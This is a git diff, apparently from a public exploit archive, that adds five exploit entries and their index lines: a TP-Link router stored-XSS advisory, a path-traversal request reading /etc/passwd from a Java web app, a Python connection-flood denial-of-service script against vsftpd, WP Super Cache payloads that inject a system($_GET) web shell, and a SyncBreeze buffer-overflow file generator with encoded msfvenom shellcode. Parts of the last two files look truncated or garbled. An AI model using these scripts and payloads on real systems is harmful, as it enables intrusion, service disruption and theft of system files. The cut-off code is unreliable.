diff --git a/exploits/hardware/webapps/49720.txt b/exploits/hardware/webapps/49720.txt new file mode 100644 index 000000000..3f0c27f75 --- /dev/null +++ b/exploits/hardware/webapps/49720.txt @@ -0,0 +1,143 @@ +# Exploit Title: TP-Link Devices - 'setDefaultHostname' Stored Cross-site Scripting (Unauthenticated) +# Date: 24-07-2020 +# Exploit Author: Smriti Gaba, Kaustubh Padwad +# Vendor Homepage: https://www.tp-link.com +# Version: Multiple + +============================================================== +Unauthenticated Stored Cross-site Scripting in Multiple TP-Link Devices +============================================================== + +Overview +======== + +Products: +1. DSL and DSL Gateway +2. Access Points +3. WIFI Routers + +Tested Version: : Multiple versions of DSL & DSL Gateway, WIFI Routers and +Access Points including: + +------------------------------------------------------------------------------- +Model | Firmware Version + | +------------------------------------------------------------------------------- +TD-W9977 | +TD-W9977v1_0.1.0_0.9.1_up_boot(161123)_2016-11-23_15.36.15 | +TL-WA801ND | TL-WA801NDv5_US_0.9.1_3.16_up_boot[170905-rel56404] + | +TL-WA801N | TL-WA801Nv6_EU_0.9.1_3.16_up_boot[200116-rel61815] + | +TL-WR802N | TL-WR802Nv4_US_0.9.1_3.17_up_boot[200421-rel38950] + | +Archer-C3150 | ArcherC3150(US)_V2_170926) + | +------------------------------------------------------------------------------- + +Severity: Med-High + +About the Product: +================== + +* The (products from above list) are high performance WIFI Routers(Wireless AC routers), Access Points, ADSL + DSL Gateways and Routers. +* Provides Configuration modes: Access Point mode, Router Mode, Range Extender mode. +* Provide Ethernet and other interfaces to meet the access requirements of different devices. +* It can provide high-performance functionalities, services for home users, individual users, and businesses. +* Supports multiple functionalities including CWMP management, TR069 Configuration, SNMP management, Traffic statistics, etc. + +Description: +============ +An issue was discovered, common to all the TP-Link products including WIFI Routers(Wireless AC routers), Access Points, ADSL + DSL Gateways and Routers. +This affected TD-W9977v1,TL-WA801NDv5, TL-WA801Nv6, TL-WA802Nv5, Archer C3150v2 devices. A malicious XSS payload if injected in hostname of Wireless Client devices connected to TP-Link device, allows remote attackers to execute unauthenticated malicious scripts because of improper validation of hostname. Some of the pages including dhcp.htm, networkMap.htm, dhcpClient.htm, qsEdit.htm, qsReview.htm and others use this vulnerable hostname function(setDefaultHostname()) without sanitization and push the value of hostname ($defaulthostname) directly to the ACT stack along with other parameters. The ACT stack is called on for multiple operation ids covering LAN, WAN and while intialisation of multiple tables (arp, dhcp, client list) across the device. For example, ACT_SET stack for WAN_IP_CONN is called while dhcp operation, during which value of vulnerable defaulthostname is being assigned to parameter X_TP_Hostname and pushed to stack. This causes XSS at all the endpoints which display hostname for example: Wireless client information table, ARP bind table such as networkMap, DHCP. + +Additional Information +======================== +The hostname value is only validated on ASCII characters, while there is no validation for Non-ASCII characters which allows hostname with XSS payload say "" to execute. This value of hostname is pushed to an array as plain text along with IP address and MAC address in initClientListTable() function, and other tables use the same value of hostname accross the device. This array is then returned to the callback function which in turn is called from proxy.js. +This data is pushed to stack corresponding to operation:"LAN_HOST_ENTRY" (vary for different firmware), operation id: "gl" (gl is getList function). As client initiates request with operation id:"LAN_HOST_ENTRY" and oid: "gl", $dm.getList and $.act is called which fetches the corresponding stack and sends data to ajax call. The crafted value of hostname is sent to the device and results in execution of payload. + +[Affected Component] +hostName parameter inside different htm pages including DHCP, DhcpAP, ArpBind, networkMap. + +------------------------------------------ +[Attack Type] +Remote +------------------------------------------ +[Impact Code execution] +true + +------------------------------------------ +[Attack Vectors] +Malicious payload execution on initiating request for Wireless Client List table or DHCP html page. + +[Vulnerability Type] +==================== +Stored Cross-site Scripting + +How to Reproduce: (POC): +======================== + + 1. Change the default hostname of wireless client by using following command (for Linux): + a. vi /etc/dhcp/dhclient.conf + b. Insert and change the value of hostname to xss payload "" + 2. Renew IP address by sending DHCP request to TP-Link device via following command: + a. vi /etc/network/interfaces + b. Add these lines: + auto wlan0 + iface wlan0 inet dhcp + c. On Terminal run command: ifup wlan0 + 3. Login to the router web interface, navigate to DHCP settings or Wireless Client tab. + 4. As soon as DHCP or Wireless client table is requested Xss payload executes and pops up alert box. + +Mitigation +========== + + --------------------------------------------------------------------------------------------------------- +| Model | Firmware Version + | Mitigation Comments | + --------------------------------------------------------------------------------------------------------- +| TL-WA801ND | TL-WA801NDv5_US_0.9.1_3.16_up_boot[170905-rel56404] + | Patched | +| TL-WA801N | TL-WA801Nv6_EU_0.9.1_3.16_up_boot[200116-rel61815] + | Patched | +| TL-WR802N | TL-WR802Nv4_US_0.9.1_3.17_up_boot[200421-rel38950] + | Patched | +| Archer-C3150 | ArcherC3150(US)_V2_170926) + | EOL Product | +| TD-W9977 | +TD-W9977v1_0.1.0_0.9.1_up_boot(161123)_2016-11-23_15.36.15 | EOL Product + | + --------------------------------------------------------------------------------------------------------- + +Link for patched software version for products: + 1. TL-WA801ND - +https://tp-link.com/beta/2021/202101/20210120/TL-WA801NDv5_US_0.9.1_3.16_up_boot[210119-rel61453].zip + 2. TL-WA801N - +https://tp-link.com/beta/2021/202101/20210120/TL-WA801Nv6_EU_0.9.1_3.16_up_boot[210119-rel62190].zip + 3. TL-WR802N - +https://tp-link.com/beta/2021/202101/20210120/TL-WR802Nv4_US_0.9.1_3.17_up_boot[210119-rel63071].zip + +[Vendor of Product] +TP-LINK (https://www.tp-link.com) + +Disclosure Timeline: +=================== +24-July-2020 Discoverd the vulnerability +11-Aug-2020 Responsibly disclosed vulnerability to vendor +15-Aug-2020 Vendor Acknowledged the disclosure +17-Nov-2020 Communicated with vendor after 90 days for updates +19-Nov-2020 Vendor asked for model and version details +20-Nov-2020 Provided the required details to vendor +25-Nov-2020 Vendor provided software build to verify the issue +9-Dec-2020 Issue not fixed in the provided software. +4-Jan-2021 Asked Updates on the status of the issue. +20-Jan-2021 Vendor provided software build to verify the issue. +20-Jan-2021 Issue found fixed in the provided software. +21-Jan-2021 Requested for CVE-ID assignment +25-March-2021 CVE-ID Assigned. + +credits: +======== + +* Smriti Gaba +* Kaustubh Padwad \ No newline at end of file diff --git a/exploits/java/webapps/49724.txt b/exploits/java/webapps/49724.txt new file mode 100644 index 000000000..b3eeb16ca --- /dev/null +++ b/exploits/java/webapps/49724.txt @@ -0,0 +1,37 @@ +# Exploit Title: Novel Boutique House-plus 3.5.1 - Arbitrary File Download +# Date: 27/03/2021 +# Exploit Author: tuyiqiang +# Vendor Homepage: https://xiongxyang.gitee.io/ +# Software Link: https://gitee.com/novel_dev_team/novel-plus,https://github.com/201206030/novel-plus +# Version: all +# Tested on: linux + +Vulnerable code: + +com/java2nb/common/controller/FileController.java + +@RequestMapping(value = "/download") +public void fileDownload(String filePath,String fileName, HttpServletResponse resp) throws Exception { + String realFilePath = jnConfig.getUploadPath() + filePath; + InputStream in = new FileInputStream(realFilePath); + fileName = URLEncoder.encode(fileName, "UTF-8"); + resp.setHeader("Content-Disposition", "attachment;filename=" + fileName); + + resp.setContentLength(in.available()); + + OutputStream out = resp.getOutputStream(); + byte[] b = new byte[1024]; + int len = 0; + while ((len = in.read(b)) != -1) { + out.write(b, 0, len); + } + out.flush(); + out.close(); + in.close(); +} + + +Guide: + +1. Log in to background management +2. http://xxxx/common/sysFile/download?filePath=../../../../../../../../../../../../../../../../../etc/passwd&fileName=passwd \ No newline at end of file diff --git a/exploits/multiple/remote/49719.py b/exploits/multiple/remote/49719.py new file mode 100755 index 000000000..8416ff205 --- /dev/null +++ b/exploits/multiple/remote/49719.py @@ -0,0 +1,101 @@ +# Exploit Title: vsftpd 3.0.3 - Remote Denial of Service +# Date: 22-03-2021 +# Exploit Author: xynmaps +# Vendor Homepage: https://security.appspot.com/vsftpd.html +# Software Link: https://security.appspot.com/downloads/vsftpd-3.0.3.tar.gz +# Version: 3.0.3 +# Tested on: Parrot Security OS 5.9.0 + +#-------------------------------# + +#encoding=utf8 +#__author__ = XYN/Dump/NSKB3 +#VSFTPD Denial of Service exploit by XYN/Dump/NSKB3. +""" +VSFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server, +you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited. +(if it's limited, just run this script from different proxies using proxychains, and it will work) +""" + +import socket +import sys +import threading +import subprocess +import time + +banner = """ +._________________. +| VS-FTPD | +| D o S | +|_________________| +|By XYN/DUMP/NSKB3| +|_|_____________|_| +|_|_|_|_____|_|_|_| +|_|_|_|_|_|_|_|_|_| + +""" +usage = "{} ".format(sys.argv[0]) + +def test(t,p): + s = socket.socket() + s.settimeout(10) + try: + s.connect((t, p)) + response = s.recv(65535) + s.close() + return 0 + except socket.error: + print("Port {} is not open, please specify a port that is open.".format(p)) + sys.exit() +def attack(targ, po, id): + try: + subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + #print("Worker {} running".format(id)) + except OSError: pass +def main(): + global target, port, start + print banner + try: + target = sys.argv[1] + except: + print usage + sys.exit() + try: + port = int(sys.argv[2]) + except: + port = 21 + try: + conns = int(sys.argv[3]) + except: + conns = 50 + print("[!] Testing if {0}:{1} is open".format(target, port)) + test(target, port) + print("[+] Port {} open, starting attack...".format(port)) + time.sleep(2) + print("[+] Attack started on {0}:{1}!".format(target, port)) + def loop(target, port, conns): + global start + threading.Thread(target=timer).start() + while 1: + for i in range(1, conns + 3): + t = threading.Thread(target=attack, args=(target,port,i,)) + t.start() + if i > conns + 2: + t.join() + break + loop() + + t = threading.Thread(target=loop, args=(target, port, conns,)) + t.start() + +def timer(): + start = time.time() + while 1: + if start < time.time() + float(900): pass + else: + subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + t = threading.Thread(target=loop, args=(target, port,)) + t.start() + break + +main() \ No newline at end of file diff --git a/exploits/php/webapps/49718.txt b/exploits/php/webapps/49718.txt new file mode 100644 index 000000000..cea0c8b13 --- /dev/null +++ b/exploits/php/webapps/49718.txt @@ -0,0 +1,48 @@ +# Exploit Title: WordPress Plugin WP Super Cache 1.7.1 - Remote Code Execution (Authenticated) +# Google Dork: inurl:/wp-content/plugins/wp-super-cache/ +# Date: 2021-03-13 +# Exploit Author: m0ze +# Version: <= 1.7.1 +# Software Link: https://wordpress.org/plugins/wp-super-cache/ + + +### -- [ Info: ] + +[i] An Authenticated RCE vulnerability was discovered in the WP Super Cache plugin through 1.7.1 for WordPress. + +[i] RCE due to input validation failure and weak $cache_path check in the WP Super Cache Settings -> Cache Location option. Direct access to the wp-cache-config.php file is not prohibited, so this vulnerability can be exploited for a web shell injection. + +[i] Another possible attack vector: from XSS to RCE. + +### -- [ Impact: ] + +[~] Full compromise of the vulnerable web application and also web server. + +### -- [ Payloads: ] + +[$] ';system($_GET[13]);include_once \'wp-cache-config.php\';' + +[$] ';`$_GET[13]`;include_once \'wp-cache-config.php\';?> + + + + + + + + + + + + + + + +
+
+ Content +
+
+ + + \ No newline at end of file diff --git a/exploits/windows/webapps/49725.py b/exploits/windows/webapps/49725.py new file mode 100755 index 000000000..5fb415f2c --- /dev/null +++ b/exploits/windows/webapps/49725.py @@ -0,0 +1,115 @@ +# Exploit Title: SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow +# Date: 03/27/2021 +# Author: Filipe Oliveira - filipecenturiao[at]hotmail.com Rafael Machado - nnszs[at]protonmail.com +# Vendor: https://www.syncbreeze.com/ +# Software Link: https://www.4shared.com/file/57pE4sZfiq/syncbreeze_setup_v10116.html +# Version: SyncBreeze v10.1.16 x86 +# Tested on: Windows 10 x64 (19042.867) +# CVE: CVE-2017-15950 + +Usage: The exploit will generate a POC file, called xplSyncBreeze.xml. Launch the application and click on Import Command, then load the POC file. + +# -*- coding: utf-8 -*- + +import struct + +# badchars +#\x00\x0a\x0d\x20\x27 +#\x81\x82\x83\x84\x85\x86\x87\x88 +#\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90 +#\x91\x92\x93\x94\x95\x96\x97\x98 +#\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0 +#\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8 +#\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0 +#\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8 +#\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0 +#\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8 +#\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0 +#\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8 +#\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0 +#\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8 +#\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0 +#\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8 +#\xF9\xFA\xFB\xFC\xFD\xFE\xFF + +# Shellcode payload size: 432 bytes +# msfvenom -a x86 --platform windows -p windows/exec CMD=calc -e x86/alpha_mixed BufferRegister=EAX -b '\x00\x0A\x0D\x20\x27' -v shellcode -f python + +shellcode = b"" +shellcode += b"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49" +shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a" +shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51" +shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" +shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x69" +shellcode += b"\x78\x4e\x62\x75\x50\x77\x70\x35\x50\x45\x30" +shellcode += b"\x4b\x39\x59\x75\x55\x61\x39\x50\x52\x44\x4e" +shellcode += b"\x6b\x42\x70\x50\x30\x6e\x6b\x42\x72\x54\x4c" +shellcode += b"\x6c\x4b\x70\x52\x74\x54\x4c\x4b\x62\x52\x66" +shellcode += b"\x48\x44\x4f\x48\x37\x61\x5a\x51\x36\x45\x61" +shellcode += b"\x39\x6f\x6e\x4c\x75\x6c\x43\x51\x71\x6c\x65" +shellcode += b"\x52\x56\x4c\x47\x50\x4b\x71\x38\x4f\x74\x4d" +shellcode += b"\x37\x71\x49\x57\x38\x62\x7a\x52\x52\x72\x36" +shellcode += b"\x37\x4c\x4b\x63\x62\x42\x30\x6c\x4b\x31\x5a" +shellcode += b"\x57\x4c\x4c\x4b\x32\x6c\x36\x71\x31\x68\x4a" +shellcode += b"\x43\x47\x38\x47\x71\x4a\x71\x76\x31\x6c\x4b" +shellcode += b"\x36\x39\x67\x50\x66\x61\x58\x53\x4c\x4b\x70" +shellcode += b"\x49\x66\x78\x59\x73\x34\x7a\x53\x79\x6e\x6b" +shellcode += b"\x50\x34\x4c\x4b\x66\x61\x4e\x36\x55\x61\x39" +shellcode += b"\x6f\x4c\x6c\x4a\x61\x4a\x6f\x34\x4d\x67\x71" +shellcode += b"\x48\x47\x67\x48\x69\x70\x71\x65\x59\x66\x54" +shellcode += b"\x43\x63\x4d\x79\x68\x75\x6b\x73\x4d\x67\x54" +shellcode += b"\x44\x35\x79\x74\x72\x78\x4e\x6b\x53\x68\x71" +shellcode += b"\x34\x57\x71\x5a\x73\x52\x46\x6c\x4b\x36\x6c" +shellcode += b"\x72\x6b\x6c\x4b\x76\x38\x75\x4c\x67\x71\x68" +shellcode += b"\x53\x6e\x6b\x57\x74\x4e\x6b\x63\x31\x78\x50" +shellcode += b"\x6f\x79\x73\x74\x47\x54\x64\x64\x53\x6b\x31" +shellcode += b"\x4b\x63\x51\x50\x59\x63\x6a\x43\x61\x39\x6f" +shellcode += b"\x59\x70\x73\x6f\x31\x4f\x62\x7a\x4e\x6b\x44" +shellcode += b"\x52\x6a\x4b\x4e\x6d\x53\x6d\x73\x5a\x63\x31" +shellcode += b"\x4c\x4d\x4d\x55\x6f\x42\x75\x50\x47\x70\x33" +shellcode += b"\x30\x46\x30\x50\x68\x74\x71\x6c\x4b\x42\x4f" +shellcode += b"\x6e\x67\x39\x6f\x6e\x35\x6f\x4b\x58\x70\x78" +shellcode += b"\x35\x79\x32\x46\x36\x33\x58\x79\x36\x4c\x55" +shellcode += b"\x4f\x4d\x6d\x4d\x39\x6f\x6a\x75\x55\x6c\x63" +shellcode += b"\x36\x61\x6c\x45\x5a\x6d\x50\x49\x6b\x39\x70" +shellcode += b"\x32\x55\x75\x55\x6d\x6b\x57\x37\x64\x53\x74" +shellcode += b"\x32\x52\x4f\x50\x6a\x53\x30\x61\x43\x59\x6f" +shellcode += b"\x78\x55\x73\x53\x30\x61\x30\x6c\x72\x43\x43" +shellcode += b"\x30\x41\x41" + + +# padding to crash buffer +basura = struct.pack('\n\n".encode('utf-8')) + +payload.write("\n\n".encode('utf-8')) + +payload.close() \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 98edaeb89..613404ee3 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -18251,6 +18251,7 @@ id,file,description,date,author,type,platform,port 46839,exploits/php/remote/46839.rb,"PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)",2019-05-14,AkkuS,remote,php, 46880,exploits/php/remote/46880.rb,"GetSimpleCMS - Unauthenticated Remote Code Execution (Metasploit)",2019-05-20,Metasploit,remote,php, 46915,exploits/php/remote/46915.rb,"Shopware - createInstanceFromNamedArguments PHP Object Instantiation Remote Code Execution (Metasploit)",2019-05-23,Metasploit,remote,php, +46928,exploits/windows/remote/46928.html,"Microsoft Internet Explorer Windows 10 1809 17763.316 - Scripting Engine Memory Corruption",2019-05-24,"Simon Zuckerbraun",remote,windows, 46932,exploits/macos/remote/46932.txt,"Typora 0.9.9.24.6 - Directory Traversal",2019-05-27,"Dhiraj Mishra",remote,macos, 46934,exploits/windows/remote/46934.txt,"Petraware pTransformer ADC < 2.1.7.22827 - Login Bypass",2019-05-28,"Faudhzan Rahman",remote,windows, 46942,exploits/java/remote/46942.rb,"Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit)",2019-05-29,Metasploit,remote,java, @@ -18432,6 +18433,7 @@ id,file,description,date,author,type,platform,port 49663,exploits/windows/remote/49663.py,"Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon)",2021-03-14,F5,remote,windows, 49682,exploits/hardware/remote/49682.txt,"KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Hard coded Credentials Shell Access",2021-03-19,LiquidWorm,remote,hardware, 49695,exploits/hardware/remote/49695.txt,"KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Weak Default WiFi Password Algorithm",2021-03-22,LiquidWorm,remote,hardware, +49719,exploits/multiple/remote/49719.py,"vsftpd 3.0.3 - Remote Denial of Service",2021-03-29,xynmaps,remote,multiple, 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -43896,3 +43898,10 @@ id,file,description,date,author,type,platform,port 49713,exploits/php/webapps/49713.txt,"Regis Inventory And Monitoring System 1.0 - 'Item List' Stored XSS",2021-03-26,"George Tsimpidas",webapps,php, 49714,exploits/php/webapps/49714.txt,"Moodle 3.10.3 - 'label' Persistent Cross Site Scripting",2021-03-26,Vincent666,webapps,php, 49665,exploits/php/webapps/49665.txt,"rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated)",2021-03-18,"Murat ŞEKER",webapps,php, +49718,exploits/php/webapps/49718.txt,"WordPress Plugin WP Super Cache 1.7.1 - Remote Code Execution (Authenticated)",2021-03-29,m0ze,webapps,php, +49720,exploits/hardware/webapps/49720.txt,"TP-Link Devices - 'setDefaultHostname' Stored Cross-site Scripting (Unauthenticated)",2021-03-29,"Smriti Gaba",webapps,hardware, +49721,exploits/php/webapps/49721.txt,"Concrete5 8.5.4 - 'name' Stored XSS",2021-03-29,"Quadron Research Lab",webapps,php, +49722,exploits/php/webapps/49722.txt,"Equipment Inventory System 1.0 - 'multiple' Stored XSS",2021-03-29,"Jitendra Kumar Tripathi",webapps,php, +49723,exploits/php/webapps/49723.txt,"Budget Management System 1.0 - 'Budget title' Stored XSS",2021-03-29,"Jitendra Kumar Tripathi",webapps,php, +49724,exploits/java/webapps/49724.txt,"Novel Boutique House-plus 3.5.1 - Arbitrary File Download",2021-03-29,tuyiqiang,webapps,java, +49725,exploits/windows/webapps/49725.py,"SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow",2021-03-29,"Filipe Oliveira",webapps,windows,